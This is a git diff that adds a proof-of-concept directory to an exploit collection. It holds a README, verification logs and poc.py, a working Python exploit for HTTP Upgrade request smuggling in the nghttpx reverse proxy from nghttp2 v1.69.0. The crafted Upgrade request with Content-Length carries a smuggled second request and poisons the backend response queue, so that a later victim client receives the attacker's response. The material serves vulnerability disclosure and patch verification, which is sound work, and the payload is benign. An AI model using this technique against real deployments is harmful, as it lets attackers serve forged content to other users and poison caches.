diff --git a/README.md b/README.md
index 85041c9..c7ab650 100644
--- a/README.md
+++ b/README.md
@@ -28,6 +28,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o
| `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 |
| `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 |
| `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 |
+| `nghttp2-nghttpx-upgrade-queue-poison-poc` | direct entry, June 26, 2026 | 3 |
| `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 |
| `objdump-dlx-calc-poc` | `7df01e4e20c7375a89e8ccf760526c52eb6ad582` | 41 |
| `openvpn-connect-echo-script-ace-poc` | `d2f904d9272d4388c9862131d40e32e072e85e38` | 8 |
@@ -53,4 +54,4 @@ Matching Git blob IDs means the tracked file bytes are identical. The check cove
This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories.
-Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
+Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nghttp2-nghttpx-upgrade-queue-poison-poc`, `nmap-ipv6-extlen-wrap-poc`, `php857-streambucket-soap-rce-rpoc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history.
diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md b/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md
new file mode 100644
index 0000000..4cf8d3a
--- /dev/null
+++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/README.md
@@ -0,0 +1,193 @@
+# nghttp2 nghttpx HTTP/1.1 Upgrade Body Response Queue Poisoning PoC
+
+This directory documents and validates an HTTP/1.1 Upgrade request body desynchronization in `nghttpx`, the reverse proxy shipped in the nghttp2 project.
+
+`nghttpx` accepts an HTTP/1.1 Upgrade request carrying `Content-Length`, forwards the request header set to an HTTP/1.1 backend, and forwards the body bytes on the same backend connection. An Upgrade-aware backend can treat the message as an Upgrade attempt and leave bytes after the header terminator to be parsed as the next HTTP request. When `nghttpx` reuses that backend connection for another frontend client, the queued response to the attacker-supplied backend request can be delivered to the victim client.
+
+The PoC uses a benign payload string, `SMUGGLED-BENIGN-PAYLOAD`, as the attacker-controlled response body. The exploit result is visible when a victim request for `/victim` receives this payload instead of the backend's normal `VICTIM-RESPONSE`.
+
+Research status: verified locally end to end against a real `nghttpx` binary from nghttp2 `v1.69.0`, with a fixed-control run against upstream master.
+
+## Affected Target
+
+- Product: nghttp2
+- Component: `nghttpx`
+- Version analyzed: `v1.69.0`
+- Release commit: `68cb6900fde14c77f0cd7add0e094a862960eb99`
+- Fixed upstream commit: `ab28105c4a0197da24f8bfc414bc116055249e1e`
+- Fixed commit title: `nghttpx: Tighten up CONNECT and HTTP Upgrade handling`
+- Service surface: cleartext HTTP/1.1 frontend to HTTP/1.1 backend reverse proxying
+- Impact: cross-client response queue poisoning through backend connection reuse
+
+## Impact
+
+An unauthenticated client can send a single crafted Upgrade request to place an attacker-chosen request into the backend HTTP/1.1 response queue. A subsequent client routed onto the same backend connection can receive the attacker's response.
+
+In an application deployment, the primitive can be used to serve attacker-controlled same-origin content to another user, confuse application routing, poison an intermediate cache that trusts `nghttpx` response boundaries, or deliver a response belonging to an attacker-selected backend route under a victim request.
+
+The local exploit demonstrates the queue poisoning directly:
+
+```text
+attacker request: GET /upgrade with Upgrade: websocket and a body containing GET /poisoned
+attacker response: UPGRADE-REJECT
+victim request: GET /victim
+victim response: SMUGGLED-BENIGN-PAYLOAD
+```
+
+## Preconditions
+
+- The attacker can connect to an `nghttpx` HTTP/1.1 frontend.
+- `nghttpx` proxies to an HTTP/1.1 backend with reusable keep-alive connections.
+- The backend applies Upgrade-oriented parsing behavior where bytes after an Upgrade request header terminator are interpreted as the next HTTP request rather than as an HTTP request body.
+- The attacker can choose a backend route whose response can be delayed long enough for the next frontend request to be assigned to the same backend connection.
+
+The PoC includes a small backend server that implements the relevant Upgrade behavior and response delay. The target process is the supplied real `nghttpx` binary.
+
+## Root Cause
+
+The vulnerable flow starts in the HTTP/1.1 frontend parser. An Upgrade request is accepted even when it carries `Content-Length`:
+
+```text
+GET /upgrade HTTP/1.1
+Host: target
+Connection: Upgrade
+Upgrade: websocket
+Content-Length: 43
+
+GET /poisoned HTTP/1.1
+Host: backend
+```
+
+The request is converted and forwarded to the backend through `HttpDownstreamConnection::push_request_headers()`. In `v1.69.0`, the backend request preserves both the Upgrade headers and the `Content-Length` header. The buffered frontend body is then copied into the backend request buffer by `HttpDownstreamConnection::process_blocked_request_buf()`.
+
+Relevant source behavior in `v1.69.0`:
+
+| File | Behavior |
+| --- | --- |
+| `src/shrpx_downstream.cc` | Marks non-h2c HTTP/1.1 Upgrade requests through `req_.upgrade_request` |
+| `src/shrpx_https_upstream.cc` | Accepts an Upgrade request with `Content-Length` and dispatches it to a backend connection |
+| `src/shrpx_http_downstream_connection.cc` | Forwards original request headers, including `Content-Length`, and forwards the buffered body |
+| `src/shrpx_https_upstream.cc` | Detaches and reuses backend connections after response completion when the request state is complete |
+
+The fixed upstream commit adds explicit rejection for `CONNECT` or Upgrade requests carrying `Transfer-Encoding` or `Content-Length`:
+
+```text
+transfer-encoding and content-length are not allowed in CONNECT or upgrade request
+```
+
+It also changes request body blocking around Upgrade handling so body bytes are held until the backend Upgrade response establishes a tunnel.
+
+## Exploit Flow
+
+1. The PoC starts a backend that keeps HTTP/1.1 connections alive.
+2. The backend treats `Upgrade` as a boundary and parses bytes after the header terminator as another request.
+3. The PoC starts the supplied `nghttpx` binary with a cleartext frontend and the local backend.
+4. The attacker client sends `GET /upgrade` with `Upgrade: websocket` and `Content-Length`.
+5. The attacker body contains a complete smuggled request: `GET /poisoned HTTP/1.1`.
+6. `nghttpx` forwards the Upgrade request and the body to the backend.
+7. The backend replies to `/upgrade` with `UPGRADE-REJECT`.
+8. The backend parses `/poisoned` from the forwarded body and delays its response.
+9. The attacker connection closes after receiving `UPGRADE-REJECT`.
+10. The victim client sends `GET /victim`.
+11. `nghttpx` reuses the same backend connection.
+12. The delayed `/poisoned` response is read as the victim response.
+
+## Files
+
+- `poc.py` - stdlib-only Python exploit driver. It starts a real `nghttpx` target process, drives attacker and victim frontend clients, and prints a JSON result.
+- `evidence/local-verification.txt` - local vulnerable and fixed-control transcripts.
+
+## Usage
+
+Build or provide an nghttp2 `v1.69.0` `nghttpx` binary, then run:
+
+```bash
+python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0
+```
+
+Run with verbose protocol traces:
+
+```bash
+python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0 --verbose
+```
+
+Run with a custom benign payload:
+
+```bash
+python3 poc.py --nghttpx ./build/src/nghttpx --cwd ./nghttp2-v1.69.0 --payload "BENIGN-QUEUE-POISON"
+```
+
+Expected vulnerable output:
+
+```json
+{
+ "attacker_body": "UPGRADE-REJECT",
+ "victim_body": "SMUGGLED-BENIGN-PAYLOAD",
+ "victim_received_poison": true,
+ "victim_received_expected": false
+}
+```
+
+Run a fixed-control binary:
+
+```bash
+python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed
+```
+
+Expected fixed-control output:
+
+```json
+{
+ "attacker_body": "",
+ "victim_body": "VICTIM-RESPONSE",
+ "victim_received_poison": false,
+ "victim_received_expected": true
+}
+```
+
+## Local Verification
+
+The vulnerable run used `nghttpx nghttp2/1.69.0`. The fixed-control run used upstream master after `ab28105c`, reporting `nghttpx nghttp2/1.69.90`.
+
+Vulnerable result:
+
+```text
+"attacker_body": "UPGRADE-REJECT"
+"victim_body": "SMUGGLED-BENIGN-PAYLOAD"
+"victim_received_poison": true
+"victim_received_expected": false
+"backend_requests": [
+ [
+ "GET /upgrade HTTP/1.1",
+ "GET /poisoned HTTP/1.1",
+ "GET /victim HTTP/1.1"
+ ],
+ []
+]
+```
+
+Fixed-control result:
+
+```text
+"attacker_body": "
400 Bad Request400 Bad Request
"
+"victim_body": "VICTIM-RESPONSE"
+"victim_received_poison": false
+"victim_received_expected": true
+"backend_requests": [
+ [
+ "GET /victim HTTP/1.1"
+ ],
+ []
+]
+```
+
+## Patch Behavior
+
+The upstream fix rejects the attacker request before backend dispatch:
+
+```text
+HTTP/1.1 400 Bad Request
+Connection: close
+```
+
+The victim request then reaches the backend as the first request on a clean backend connection and receives the expected response.
diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt
new file mode 100644
index 0000000..eb71beb
--- /dev/null
+++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/evidence/local-verification.txt
@@ -0,0 +1,56 @@
+Local verification date: 2026-06-26
+
+Vulnerable target:
+
+nghttp2 v1.69.0
+nghttpx nghttp2/1.69.0
+release commit 68cb6900fde14c77f0cd7add0e094a862960eb99
+
+Command:
+
+python3 poc.py --nghttpx ./build-v1.69.0/src/nghttpx --cwd ./nghttp2-v1.69.0
+
+Output:
+
+{
+ "attacker_body": "UPGRADE-REJECT",
+ "victim_body": "SMUGGLED-BENIGN-PAYLOAD",
+ "victim_received_poison": true,
+ "victim_received_expected": false,
+ "backend_connections": 2,
+ "backend_requests": [
+ [
+ "GET /upgrade HTTP/1.1",
+ "GET /poisoned HTTP/1.1",
+ "GET /victim HTTP/1.1"
+ ],
+ []
+ ],
+ "nghttpx_returncode": -15
+}
+
+Fixed-control target:
+
+upstream master after ab28105c4a0197da24f8bfc414bc116055249e1e
+nghttpx nghttp2/1.69.90
+
+Command:
+
+python3 poc.py --nghttpx ./build-fixed/src/nghttpx --cwd ./nghttp2-fixed --expect-fixed
+
+Output:
+
+{
+ "attacker_body": "400 Bad Request400 Bad Request
",
+ "victim_body": "VICTIM-RESPONSE",
+ "victim_received_poison": false,
+ "victim_received_expected": true,
+ "backend_connections": 2,
+ "backend_requests": [
+ [
+ "GET /victim HTTP/1.1"
+ ],
+ []
+ ],
+ "nghttpx_returncode": -15
+}
diff --git a/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py b/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py
new file mode 100644
index 0000000..09b2996
--- /dev/null
+++ b/nghttp2-nghttpx-upgrade-queue-poison-poc/poc.py
@@ -0,0 +1,278 @@
+import argparse
+import json
+import os
+import socket
+import subprocess
+import sys
+import threading
+import time
+
+
+def free_port(host):
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
+ sock.bind((host, 0))
+ return sock.getsockname()[1]
+
+
+def wait_port(host, port, timeout):
+ deadline = time.time() + timeout
+ while time.time() < deadline:
+ try:
+ with socket.create_connection((host, port), timeout=0.1):
+ return True
+ except OSError:
+ time.sleep(0.05)
+ return False
+
+
+def read_response(sock, timeout):
+ sock.settimeout(0.2)
+ chunks = []
+ deadline = time.time() + timeout
+ while time.time() < deadline:
+ try:
+ data = sock.recv(65536)
+ except socket.timeout:
+ continue
+ except OSError:
+ break
+ if not data:
+ break
+ chunks.append(data)
+ joined = b"".join(chunks)
+ marker = joined.find(b"\r\n\r\n")
+ if marker < 0:
+ continue
+ head = joined[: marker + 4]
+ content_length = 0
+ for line in head.split(b"\r\n")[1:]:
+ if line.lower().startswith(b"content-length:"):
+ content_length = int(line.split(b":", 1)[1].strip())
+ if len(joined) >= marker + 4 + content_length:
+ break
+ return b"".join(chunks)
+
+
+def response_body(response):
+ marker = response.find(b"\r\n\r\n")
+ if marker < 0:
+ return b""
+ return response[marker + 4 :]
+
+
+def printable(data):
+ return data.decode("latin1", "replace").replace("\r", "\\r").replace("\n", "\\n\n")
+
+
+class UpgradeBackend:
+ def __init__(self, host, delay, poison_body):
+ self.host = host
+ self.port = free_port(host)
+ self.delay = delay
+ self.poison_body = poison_body
+ self.ready = threading.Event()
+ self.stop = threading.Event()
+ self.records = []
+ self.thread = threading.Thread(target=self.run, daemon=True)
+
+ def start(self):
+ self.thread.start()
+ if not self.ready.wait(5):
+ raise RuntimeError("backend startup timed out")
+
+ def close(self):
+ self.stop.set()
+ try:
+ with socket.create_connection((self.host, self.port), timeout=0.2):
+ pass
+ except OSError:
+ pass
+ self.thread.join(timeout=2)
+
+ def run(self):
+ with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
+ srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ srv.bind((self.host, self.port))
+ srv.listen(16)
+ srv.settimeout(0.2)
+ self.ready.set()
+ while not self.stop.is_set():
+ try:
+ conn, addr = srv.accept()
+ except socket.timeout:
+ continue
+ except OSError:
+ break
+ rec = {"addr": addr, "requests": [], "events": [], "raw": bytearray()}
+ self.records.append(rec)
+ threading.Thread(target=self.handle, args=(conn, rec), daemon=True).start()
+
+ def send_response(self, conn, rec, status, body):
+ response = (
+ f"HTTP/1.1 {status}\r\n".encode()
+ + f"Content-Length: {len(body)}\r\n".encode()
+ + b"Connection: keep-alive\r\n"
+ + b"\r\n"
+ + body
+ )
+ conn.sendall(response)
+ rec["events"].append(f"sent:{status}:{body.decode('latin1', 'replace')}")
+
+ def handle(self, conn, rec):
+ buf = bytearray()
+ with conn:
+ conn.settimeout(0.2)
+ deadline = time.time() + 10
+ while time.time() < deadline and not self.stop.is_set():
+ try:
+ data = conn.recv(65536)
+ except socket.timeout:
+ data = b""
+ except OSError as exc:
+ rec["events"].append(f"recv-error:{exc.__class__.__name__}")
+ return
+ if data:
+ rec["raw"].extend(data)
+ buf.extend(data)
+ rec["events"].append(f"recv:{len(data)}")
+ while True:
+ marker = buf.find(b"\r\n\r\n")
+ if marker < 0:
+ break
+ head = bytes(buf[: marker + 4])
+ lines = head.split(b"\r\n")
+ reqline = lines[0].decode("latin1", "replace")
+ fields = {}
+ for line in lines[1:]:
+ if b":" in line:
+ k, v = line.split(b":", 1)
+ fields[k.strip().lower()] = v.strip().lower()
+ ignore_body = b"upgrade" in fields
+ content_length = 0 if ignore_body else int(fields.get(b"content-length", b"0") or b"0")
+ total = marker + 4 + content_length
+ if len(buf) < total:
+ break
+ del buf[:total]
+ parts = reqline.split(" ")
+ path = parts[1] if len(parts) > 1 else "/"
+ rec["requests"].append(reqline)
+ if path == "/upgrade":
+ self.send_response(conn, rec, "200 OK", b"UPGRADE-REJECT")
+ elif path == "/poisoned":
+ time.sleep(self.delay)
+ self.send_response(conn, rec, "200 OK", self.poison_body)
+ elif path == "/victim":
+ self.send_response(conn, rec, "200 OK", b"VICTIM-RESPONSE")
+ else:
+ self.send_response(conn, rec, "404 Not Found", b"UNKNOWN")
+ if not data:
+ continue
+
+
+def launch_nghttpx(args, backend):
+ port = free_port(args.host)
+ cmd = [
+ args.nghttpx,
+ "-f",
+ f"{args.host},{port};no-tls",
+ "-b",
+ f"{args.host},{backend.port}",
+ "--workers=1",
+ f"--backend-keep-alive-timeout={args.backend_keepalive}s",
+ "--errorlog-file=-",
+ ]
+ proc = subprocess.Popen(cmd, cwd=args.cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ if not wait_port(args.host, port, 5):
+ proc.kill()
+ proc.wait(timeout=2)
+ raise RuntimeError("nghttpx frontend did not open")
+ return proc, port
+
+
+def run(args):
+ poison_body = args.payload.encode("utf-8")
+ backend = UpgradeBackend(args.host, args.delay, poison_body)
+ backend.start()
+ proc, frontend_port = launch_nghttpx(args, backend)
+ smuggled = b"GET /poisoned HTTP/1.1\r\nHost: backend\r\n\r\n"
+ attacker_payload = (
+ b"GET /upgrade HTTP/1.1\r\n"
+ b"Host: target\r\n"
+ b"Connection: Upgrade\r\n"
+ b"Upgrade: websocket\r\n"
+ b"Content-Length: "
+ + str(len(smuggled)).encode()
+ + b"\r\n"
+ b"\r\n"
+ + smuggled
+ )
+ victim_payload = b"GET /victim HTTP/1.1\r\nHost: target\r\n\r\n"
+ try:
+ with socket.create_connection((args.host, frontend_port), timeout=2) as s1:
+ s1.sendall(attacker_payload)
+ attacker_response = read_response(s1, args.read_timeout)
+ time.sleep(args.victim_wait)
+ with socket.create_connection((args.host, frontend_port), timeout=2) as s2:
+ s2.sendall(victim_payload)
+ victim_response = read_response(s2, args.read_timeout)
+ time.sleep(0.5)
+ finally:
+ proc.terminate()
+ try:
+ proc.wait(timeout=2)
+ except subprocess.TimeoutExpired:
+ proc.kill()
+ proc.wait(timeout=2)
+ backend.close()
+ stdout = proc.stdout.read() if proc.stdout else b""
+ stderr = proc.stderr.read() if proc.stderr else b""
+ attacker_body = response_body(attacker_response)
+ victim_body = response_body(victim_response)
+ result = {
+ "attacker_body": attacker_body.decode("latin1", "replace"),
+ "victim_body": victim_body.decode("latin1", "replace"),
+ "victim_received_poison": poison_body in victim_body,
+ "victim_received_expected": b"VICTIM-RESPONSE" in victim_body,
+ "backend_connections": len(backend.records),
+ "backend_requests": [rec["requests"] for rec in backend.records],
+ "nghttpx_returncode": proc.returncode,
+ }
+ print(json.dumps(result, indent=2))
+ if args.verbose:
+ print("attacker_response:")
+ print(printable(attacker_response))
+ print("victim_response:")
+ print(printable(victim_response))
+ print("backend_trace:")
+ for rec in backend.records:
+ print(json.dumps({"requests": rec["requests"], "events": rec["events"]}, indent=2))
+ if stdout or stderr:
+ print("nghttpx_output:")
+ print(printable((stdout + stderr)[-4000:]))
+ if args.expect_fixed:
+ return 0 if result["victim_received_expected"] and not result["victim_received_poison"] else 1
+ return 0 if result["victim_received_poison"] else 1
+
+
+def main():
+ parser = argparse.ArgumentParser()
+ parser.add_argument("--nghttpx", required=True)
+ parser.add_argument("--cwd", default=os.getcwd())
+ parser.add_argument("--host", default="127.0.0.1")
+ parser.add_argument("--payload", default="SMUGGLED-BENIGN-PAYLOAD")
+ parser.add_argument("--delay", type=float, default=1.0)
+ parser.add_argument("--victim-wait", type=float, default=0.2)
+ parser.add_argument("--read-timeout", type=float, default=2.0)
+ parser.add_argument("--backend-keepalive", type=int, default=10)
+ parser.add_argument("--expect-fixed", action="store_true")
+ parser.add_argument("--verbose", action="store_true")
+ args = parser.parse_args()
+ try:
+ return run(args)
+ except Exception as exc:
+ print(f"[-] {exc}", file=sys.stderr)
+ return 1
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())